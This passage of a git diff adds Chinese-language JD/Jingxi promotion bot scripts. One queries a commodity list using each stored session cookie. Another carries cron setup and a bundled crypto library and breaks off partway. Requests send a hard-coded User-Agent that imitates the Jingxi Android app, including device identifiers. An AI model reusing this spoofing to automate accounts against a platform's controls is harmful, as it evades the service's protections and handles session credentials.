(t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jxgckc.js b/jd_jxgckc.js new file mode 100644 index 0000000..61c234f --- /dev/null +++ b/jd_jxgckc.js @@ -0,0 +1,114 @@ +/* +cron "10 10 * * *" script-path=jx_products_detail.js,tag=京喜工厂商品列表详情 +**/ +const $ = new Env('京喜工厂商品列表详情'); +const JD_API_HOST = 'https://m.jingxi.com/'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.cookieArr = []; +$.currentCookie = ''; +let showMsg = ''; +!(async () => { + if (!getCookies()) return; + for (let i = 0; i < $.cookieArr.length; i++) { + $.currentCookie = $.cookieArr[i]; + $.index = i + 1; + if ($.currentCookie) { + const userName = decodeURIComponent( + $.currentCookie.match(/pt_pin=(.+?);/) && $.currentCookie.match(/pt_pin=(.+?);/)[1], + ); + $.log(`\n开始【京东账号${i + 1}】${userName}`); + await getCommodityList(); + + console.log(showMsg); + + //只发送给第一个号 + if (i ===0) { + // 账号${$.index} - ${$.UserName} + await notify.sendNotify(`${$.name}`, `${showMsg}`); + break + } + + } + } +})() + .catch(e => $.logErr(e)) + .finally(() => $.done()); + +function getCookies() { + if ($.isNode()) { + $.cookieArr = Object.values(jdCookieNode); + } else { + const CookiesJd = JSON.parse($.getdata("CookiesJD") || "[]").filter(x => !!x).map(x => x.cookie); + $.cookieArr = [$.getdata("CookieJD") || "", $.getdata("CookieJD2") || "", ...CookiesJd].filter(x=>!!x); + } + if (!$.cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + 'open-url': 'https://bean.m.jd.com/', + }); + return false; + } + return true; +} + +function getCommodityList() { + return new Promise(resolve => { + $.get(taskUrl('diminfo/GetCommodityList', `flag=2&pageNo=1&pageSize=10000`), async (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + for (let index = 0; index < commodityList.length; index++) { + const { commodityId, stockNum } = commodityList[index]; + await getCommodityDetail(commodityId, stockNum); + await $.wait(1000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getCommodityDetail(commodityId, num) { + return new Promise(async resolve => { + $.get( + taskUrl('diminfo/GetCommodityDetails', `commodityId=${commodityId}`), + (err, resp, data) => { + try { + const { ret, data: { commodityList = [] } = {}, msg } = JSON.parse(data); + // $.log(`\n获取商品详情:${msg}\n${$.showLog ? data : ''}`); + const { starLevel, name, price, productLimSeconds } = commodityList[0]; + showMsg += `⭐️商品--${name}, 所需等级 ${starLevel},所需电力: ${price / 100} 万,限时 ${ + productLimSeconds / 60 / 60 / 24 + } 天,📦库存:${num},最短需要 ${(price / 864 / 2).toFixed(2)} \n`; + ; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }, + ); + }); +} + +function taskUrl(function_path, body) { + return { + url: `${JD_API_HOST}dreamfactory/${function_path}?${body}&zone=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: $.currentCookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `m.jingxi.com`, + 'User-Agent': `jdpingou;android;3.6.6;10;9366134603335346-2356564626532336;network/wifi;model/PCCM00;addressid/2724627094;aid/9f1d035d2eedb52c;oaid/0990A8DEE8484D29A1F033DCEFB178E3e82dce91adda643738be64a5c1dbd373;osVer/29;appBuild/1830;psn/Y3zi9DfAnZ9m /CaT1 855ftH5Ommmjk|80;psq/17;adk/;ads/;pap/JA2020_3112531|3.6.6|ANDROID 10;osv/10;pv/58.17;installationId/64c27574699b447f9e83bb051482e0bc;jdv/0|androidapp|t_335139774|appshare|Wxfriends|1629270186766|1629270192;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; PCCM00 Build/QKQ1.191021.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36`, + 'Accept-Language': `zh-cn`, + }, + }; +} + +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} diff --git a/jd_jxmc.js b/jd_jxmc.js new file mode 100644 index 0000000..d9fa027 --- /dev/null +++ b/jd_jxmc.js @@ -0,0 +1,1163 @@ +/* +京喜牧场 +更新时间:2021-11-7 +活动入口:京喜APP-我的-京喜牧场 +温馨提示:请先手动完成【新手指导任务】再运行脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜牧场 +20 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, tag=京喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js,tag=京喜牧场 + +===============Surge================= +京喜牧场 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js + +============小火箭========= +京喜牧场 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e 